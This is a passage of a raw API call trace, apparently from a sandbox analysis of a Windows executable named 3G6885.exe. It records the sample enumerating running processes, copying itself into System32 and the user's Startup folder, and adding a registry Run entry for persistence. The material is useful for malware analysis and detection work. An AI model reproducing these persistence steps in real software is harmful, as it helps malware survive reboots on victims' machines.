pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.225] lstrlenW (lpString="svchost.exe") returned 11 [0172.225] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.225] lstrlenW (lpString="svchost.exe") returned 11 [0172.225] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.225] lstrlenW (lpString="svchost.exe") returned 11 [0172.225] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.226] lstrlenW (lpString="svchost.exe") returned 11 [0172.226] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0172.226] lstrlenW (lpString="audiodg.exe") returned 11 [0172.226] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.227] lstrlenW (lpString="svchost.exe") returned 11 [0172.227] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.227] lstrlenW (lpString="svchost.exe") returned 11 [0172.228] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0172.228] lstrlenW (lpString="spoolsv.exe") returned 11 [0172.228] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0172.228] lstrlenW (lpString="taskhost.exe") returned 12 [0172.228] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.229] lstrlenW (lpString="svchost.exe") returned 11 [0172.229] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0172.229] lstrlenW (lpString="dwm.exe") returned 7 [0172.229] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0172.230] lstrlenW (lpString="explorer.exe") returned 12 [0172.230] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0172.230] lstrlenW (lpString="3G6885.exe") returned 10 [0172.230] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0172.230] lstrlenW (lpString="reader_sl.exe") returned 13 [0172.231] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0172.231] lstrlenW (lpString="taskhost.exe") returned 12 [0172.231] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0172.231] lstrlenW (lpString="dllhost.exe") returned 11 [0172.231] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0172.232] lstrlenW (lpString="rundll32.exe") returned 12 [0172.232] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0172.232] lstrlenW (lpString="dinotify.exe") returned 12 [0172.232] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0172.233] lstrlenW (lpString="dllhost.exe") returned 11 [0172.233] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0172.233] lstrlenW (lpString="3G6885.exe") returned 10 [0172.233] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 0 [0172.233] CloseHandle (hObject=0xe0) returned 1 [0172.233] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5368 | out: hHeap=0x4b0000) returned 1 [0172.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e53b0 | out: hHeap=0x4b0000) returned 1 [0172.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e53f8 | out: hHeap=0x4b0000) returned 1 [0172.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5418 | out: hHeap=0x4b0000) returned 1 [0172.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5460 | out: hHeap=0x4b0000) returned 1 [0172.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e4b28 | out: hHeap=0x4b0000) returned 1 [0172.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4818 | out: hHeap=0x4b0000) returned 1 [0172.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4850 | out: hHeap=0x4b0000) returned 1 [0172.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4448 | out: hHeap=0x4b0000) returned 1 [0172.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4470 | out: hHeap=0x4b0000) returned 1 [0172.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4898 | out: hHeap=0x4b0000) returned 1 [0172.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4498 | out: hHeap=0x4b0000) returned 1 [0172.234] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4eb528 [0172.234] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4fb530 [0172.235] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b28 [0172.235] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b28, Size=0x20) returned 0x4c4498 [0172.235] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4498, Size=0x40) returned 0x4e6aa8 [0172.235] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b28 [0172.235] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b28, Size=0x20) returned 0x4c4498 [0172.235] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b28 [0172.235] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b28, Size=0x20) returned 0x4c4470 [0172.235] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b28 [0172.235] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b28, Size=0x20) returned 0x4c4448 [0172.235] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4448, Size=0x40) returned 0x4e6af0 [0172.235] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4fb530, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe")) returned 0x47 [0172.235] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x50b538 [0172.236] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51b540 [0172.236] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b28 [0172.236] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b28, Size=0x20) returned 0x4c4448 [0172.236] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4448, Size=0x40) returned 0x4e6b38 [0172.236] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b38, Size=0x80) returned 0x4e5368 [0172.236] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5368, Size=0x100) returned 0x4e7cb0 [0172.236] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0172.236] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7cb0 | out: hHeap=0x4b0000) returned 1 [0172.236] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\3G6885.exe", lpDst=0x50b538, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\3G6885.exe") returned 0x1f [0172.236] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51b540 | out: hHeap=0x4b0000) returned 1 [0172.236] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b538 | out: hHeap=0x4b0000) returned 1 [0172.236] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x2120020 [0172.237] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b28 [0172.237] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b28, Size=0x20) returned 0x4c4448 [0172.237] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b28 [0172.237] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b28, Size=0x20) returned 0x4e5a30 [0172.237] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0172.237] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0172.237] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0172.237] lstrlenW (lpString="kernel32.dll") returned 12 [0172.237] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4448 | out: hHeap=0x4b0000) returned 1 [0172.237] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0172.237] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5a30 | out: hHeap=0x4b0000) returned 1 [0172.237] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0172.237] CreateFileW (lpFileName="C:\\Windows\\System32\\3G6885.exe" (normalized: "c:\\windows\\system32\\3g6885.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0174.346] ReadFile (in: hFile=0xe0, lpBuffer=0x2120020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2120020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0174.353] WriteFile (in: hFile=0xe4, lpBuffer=0x2120020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2120020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0174.355] ReadFile (in: hFile=0xe0, lpBuffer=0x2120020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2120020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0174.355] CloseHandle (hObject=0xe4) returned 1 [0174.355] CloseHandle (hObject=0xe0) returned 1 [0174.355] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b28 [0174.355] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b28, Size=0x20) returned 0x4e5a30 [0174.355] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b28 [0174.355] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b28, Size=0x20) returned 0x4e59e0 [0174.355] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.356] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.356] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0174.356] lstrlenW (lpString="kernel32.dll") returned 12 [0174.356] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e59e0 | out: hHeap=0x4b0000) returned 1 [0174.356] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.356] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5a30 | out: hHeap=0x4b0000) returned 1 [0174.356] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x2120020 | out: hHeap=0x4b0000) returned 1 [0174.361] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b28 [0174.361] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b28, Size=0x20) returned 0x4e5a30 [0174.361] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5a30, Size=0x40) returned 0x4e6b38 [0174.361] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b38, Size=0x80) returned 0x50b550 [0174.361] lstrlenW (lpString="C:\\Windows\\System32\\3G6885.exe") returned 30 [0174.361] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0174.361] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x5c) returned 0x4e5368 [0174.361] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0174.361] RegSetValueExW (in: hKey=0xe0, lpValueName="3G6885.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\3G6885.exe", cbData=0x3c | out: lpData="C:\\Windows\\System32\\3G6885.exe") returned 0x0 [0174.362] RegCloseKey (hKey=0xe0) returned 0x0 [0174.362] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5368 | out: hHeap=0x4b0000) returned 1 [0174.362] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0174.362] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b550 | out: hHeap=0x4b0000) returned 1 [0174.362] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x50d538 [0174.363] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51d540 [0174.363] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b28 [0174.363] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b28, Size=0x20) returned 0x4e5a30 [0174.363] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5a30, Size=0x40) returned 0x4e6b38 [0174.363] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b38, Size=0x80) returned 0x50b550 [0174.363] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b550, Size=0x100) returned 0x4e7cb0 [0174.363] lstrlenW (lpString="") returned 0 [0174.363] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0174.363] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8c) returned 0x4e7db8 [0174.363] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0174.363] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x51d540, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x51d540*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0174.363] RegCloseKey (hKey=0xe0) returned 0x0 [0174.363] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7db8 | out: hHeap=0x4b0000) returned 1 [0174.363] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0174.363] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8c) returned 0x4e7db8 [0174.363] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0174.363] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x51d540, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0174.363] RegCloseKey (hKey=0xe4) returned 0x0 [0174.363] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7db8 | out: hHeap=0x4b0000) returned 1 [0174.363] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0174.363] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0174.363] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7cb0 | out: hHeap=0x4b0000) returned 1 [0174.364] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe", lpDst=0x50d538, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe") returned 0x67 [0174.364] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d540 | out: hHeap=0x4b0000) returned 1 [0174.364] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d538 | out: hHeap=0x4b0000) returned 1 [0174.364] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x2120020 [0174.364] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b58 [0174.364] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b58, Size=0x20) returned 0x4e5a30 [0174.364] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b58 [0174.364] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b58, Size=0x20) returned 0x4e59e0 [0174.365] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.365] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.365] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0174.365] lstrlenW (lpString="kernel32.dll") returned 12 [0174.365] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5a30 | out: hHeap=0x4b0000) returned 1 [0174.365] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.365] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e59e0 | out: hHeap=0x4b0000) returned 1 [0174.365] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0174.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0174.366] ReadFile (in: hFile=0xe4, lpBuffer=0x2120020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2120020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0174.371] WriteFile (in: hFile=0xe8, lpBuffer=0x2120020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2120020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0174.373] ReadFile (in: hFile=0xe4, lpBuffer=0x2120020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2120020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0174.373] CloseHandle (hObject=0xe8) returned 1 [0174.374] CloseHandle (hObject=0xe4) returned 1 [0174.374] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b58 [0174.374] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b58, Size=0x20) returned 0x4e59e0 [0174.374] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b58 [0174.374] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b58, Size=0x20) returned 0x4e5a30 [0174.374] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.374] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.374] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0174.374] lstrlenW (lpString="kernel32.dll") returned 12 [0174.374] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5a30 | out: hHeap=0x4b0000) returned 1 [0174.374] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.374] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e59e0 | out: hHeap=0x4b0000) returned 1 [0174.374] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x2120020 | out: hHeap=0x4b0000) returned 1 [0174.379] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x50d538 [0174.379] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x51d540 [0174.379] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b58 [0174.379] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b58, Size=0x20) returned 0x4e59e0 [0174.379] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e59e0, Size=0x40) returned 0x4e6b38 [0174.379] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b38, Size=0x80) returned 0x50b550 [0174.379] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b550, Size=0x100) returned 0x4e7cb0 [0174.379] lstrlenW (lpString="") returned 0 [0174.379] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0174.379] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8c) returned 0x4e7db8 [0174.379] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0174.379] RegQueryValueExW (in: hKey=0xe4, 